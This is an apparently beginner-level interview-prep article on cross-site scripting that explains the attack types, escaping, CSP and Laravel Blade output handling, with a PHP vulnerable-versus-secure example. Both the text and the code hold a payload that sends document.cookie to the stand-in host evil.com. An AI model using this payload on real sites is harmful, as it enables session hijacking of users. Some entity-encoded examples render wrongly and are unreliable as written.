XSS — Cross-Site Scripting: injecting JS via user-supplied content
Beginner5 min read·eng-19-003
interviewsecurity
Concept
XSS (Cross-Site Scripting) — an attack where an attacker injects malicious JavaScript into a web page that is then executed in other users' browsers.
How it works: The application displays user-supplied content without escaping it. The attacker submits <script>document.location='https://evil.com/steal?c='+document.cookie</script>. When other users view the page, their browser executes the script — stealing cookies, session tokens, or performing actions as the victim.
Types of XSS:
- Reflected XSS: Malicious payload in the URL. User clicks a crafted link. Server reflects input in the response. Not stored — only affects users who click the link.
- Stored XSS (Persistent): Malicious payload is stored in the database (comment, username, post). Every user who views the content gets attacked. More dangerous.
- DOM-based XSS: Attack happens in the browser, not the server. JavaScript reads from URL/localStorage and writes to DOM without sanitization.
Prevention:
- HTML-encode output: Convert
<script>to<script>. The browser displays it as text, not code. - Escape context-specifically: Different escaping for HTML, JS, CSS, URL contexts.
- Content Security Policy (CSP): HTTP header that tells browsers which scripts to trust.
- Never use
.innerHTMLoreval()with user data in JavaScript.
In Laravel/Blade:
{{ $var }}— escaped (safe). Converts<to<.{!! $var !!}— UNESCAPED. Only use with trusted HTML (e.g., Markdown rendered by your app).
Code Example
php
<?php
// VULNERABLE — unescaped output
$username = '<script>document.location="https://evil.com/steal?c="+document.cookie</script>';
// PHP echo (vulnerable)
echo $username; // browser executes the script!
// Blade unescaped (vulnerable)
// {!! $username !!} ← NEVER use with user input
// SECURE — escaped output
echo htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
// Output: <script>...</script> — browser displays as text, not code
// Blade auto-escaping (safe by default)
// {{ $username }} ← safe — Blade automatically runs htmlspecialchars